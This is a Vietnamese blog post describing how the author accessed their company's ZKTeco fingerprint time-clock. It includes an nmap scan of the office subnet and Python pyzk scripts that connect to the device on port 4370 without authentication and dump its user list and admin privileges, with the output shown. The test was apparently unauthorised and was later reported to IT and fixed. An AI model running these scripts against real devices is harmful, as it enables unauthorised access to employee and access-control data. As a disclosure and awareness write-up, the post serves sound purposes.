Mình đã hack máy chấm công của công ty như thế nào?
Mới đây chiếc máy chấm công của công ty mình được kết nối mạng để tích hợp với hệ thống ERP. Rảnh rỗi không có việc gì làm nên mình lôi nó ra để pentest. Trong bài này mình sẽ trình bày quá trình mình truy cập vào máy chấm công của công ty. ?
Chuẩn bị
Công ty dùng máy chấm công vân tay của ZKTeco. Qua tìm hiểu từ chị Google, mình biết được máy có thể kết nối tới ở port mặc định là 4370
.
Sử dụng nmap để scan trong mạng, mình phát hiện ra có 1 địa chỉ IP có port 4370 được mở.
$ nmap 172.16.1.0/24 -p 4370
Nmap scan report for 172.16.1.201
Host is up (0.0011s latency).
PORT STATE SERVICE
4370/tcp open elpro_tunnel
Tấn công
Sử dụng thư viện pyzk, mình thử kết nối vào máy chấm công.
from zk import ZK
conn = None
zk = ZK('172.16.1.201', port=4370, ommit_ping=True)
try:
conn = zk.connect()
conn.disable_device()
print(conn.get_platform())
print(conn.get_device_name())
except Exception as e:
print("Process terminate : {}".format(e))
finally:
if conn:
conn.enable_device()
conn.disconnect()
$ python test.py
JZ4725_TFT
K28
Với kết quả như trên tức là mình đã kết nối thành công vào máy chấm công, lấy được thông tin về platform và tên thiết bị. Và điều đặc biệt ở đây là mình không cần bất cứ xác thực nào để truy cập.
Thử xem các user trong máy.
conn = None
zk = ZK('172.16.1.201', port=4370, ommit_ping=True)
try:
conn = zk.connect()
conn.disable_device()
users = conn.get_users()
for user in users:
privilege = 'User'
if user.privilege == const.USER_ADMIN:
privilege = 'Admin'
print('+ UID #{}'.format(user.uid))
print(' Name : {}'.format(user.name))
print(' Privilege : {}'.format(privilege))
print(' Password : {}'.format(user.password))
print(' Group ID : {}'.format(user.group_id))
print(' User ID : {}'.format(user.user_id))
except Exception as e:
print("Process terminate : {}".format(e))
finally:
if conn:
conn.enable_device()
conn.disconnect()
Kết quả:
+ UID #1
Name : NN-1
Privilege : Admin
Password :
Group ID :
User ID : 1
+ UID #2
Name : NN-2
Privilege : Admin
Password :
Group ID :
User ID : 2
+ UID #3
Name : NN-16
Privilege : User
Password :
Group ID :
User ID : 16
+ UID #4
Name : NN-20
Privilege : User
Password :
Group ID :
User ID : 20
...
Kết luận
- Mình đã báo với team IT helpdesk và vấn đề đã được fix.
- Hãy để xác thực đủ mạnh, tránh các trường hợp xấu xảy ra, thậm chí có thể đến từ chính người nội bộ.